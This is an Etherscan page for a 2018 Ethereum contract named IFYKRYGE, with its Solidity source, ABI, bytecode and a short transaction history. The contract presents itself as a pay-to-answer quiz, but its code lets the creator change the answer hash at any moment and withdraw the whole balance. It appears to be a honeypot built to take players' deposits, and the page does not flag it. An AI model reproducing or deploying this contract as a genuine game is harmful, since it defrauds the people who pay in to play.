Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 1 from a total of 1 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Start Game | 5892204 | 2354 days ago | IN | 1 ETH | 0.00337922 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
5892925 | 2354 days ago | 1 ETH |
Loading...
Loading
Contract Name:
IFYKRYGE
Compiler Version
v0.4.20+commit.3155dd80
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2018-07-02 */ pragma solidity ^0.4.20; contract IFYKRYGE { function Play(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function StartGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"StartGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]
Contract Creation Code
6060604052341561000f57600080fd5b6105188061001e6000396000f30060606040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631f1c827f811461006e5780633e3ee859146100f65780633fad9ae01461013e578063648f0bde146101c8578063f50ab247146101db575b005b61006c60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506101e395505050505050565b61006c60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650509335935061028d92505050565b341561014957600080fd5b6101516102c2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018d578082015183820152602001610175565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6004803560248101910135610360565b61006c6103f7565b600254151561028957806040518082805190602001908083835b6020831061021c5780518252601f1990920191602091820191016101fd565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600255600082805161025f929160200190610451565b506001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b5050565b60015433600160a060020a039081169116146102a857600080fd5b60008280516102bb929160200190610451565b5060025550565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b32600160a060020a031633600160a060020a031614151561038057600080fd5b8181604051808383808284378201915050925050506040519081900390206002541480156103b55750670de0b6b3a764000034115b156102895733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561028957600080fd5b60015433600160a060020a0390811691161461041257600080fd5b33600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561044f57600080fd5b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061049257805160ff19168380011785556104bf565b828001600101855582156104bf579182015b828111156104bf5782518255916020019190600101906104a4565b506104cb9291506104cf565b5090565b6104e991905b808211156104cb57600081556001016104d5565b905600a165627a7a723058205a0d61bd31dd69f7bd278ef1871667cb6c6d219b1e1f3352cfaa95ec9d50b5950029
Deployed Bytecode
0x60606040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631f1c827f811461006e5780633e3ee859146100f65780633fad9ae01461013e578063648f0bde146101c8578063f50ab247146101db575b005b61006c60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506101e395505050505050565b61006c60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650509335935061028d92505050565b341561014957600080fd5b6101516102c2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018d578082015183820152602001610175565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6004803560248101910135610360565b61006c6103f7565b600254151561028957806040518082805190602001908083835b6020831061021c5780518252601f1990920191602091820191016101fd565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600255600082805161025f929160200190610451565b506001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b5050565b60015433600160a060020a039081169116146102a857600080fd5b60008280516102bb929160200190610451565b5060025550565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b32600160a060020a031633600160a060020a031614151561038057600080fd5b8181604051808383808284378201915050925050506040519081900390206002541480156103b55750670de0b6b3a764000034115b156102895733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561028957600080fd5b60015433600160a060020a0390811691161461041257600080fd5b33600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561044f57600080fd5b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061049257805160ff19168380011785556104bf565b828001600101855582156104bf579182015b828111156104bf5782518255916020019190600101906104a4565b506104cb9291506104cf565b5090565b6104e991905b808211156104cb57600081556001016104d5565b905600a165627a7a723058205a0d61bd31dd69f7bd278ef1871667cb6c6d219b1e1f3352cfaa95ec9d50b5950029
Swarm Source
bzzr://5a0d61bd31dd69f7bd278ef1871667cb6c6d219b1e1f3352cfaa95ec9d50b595
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.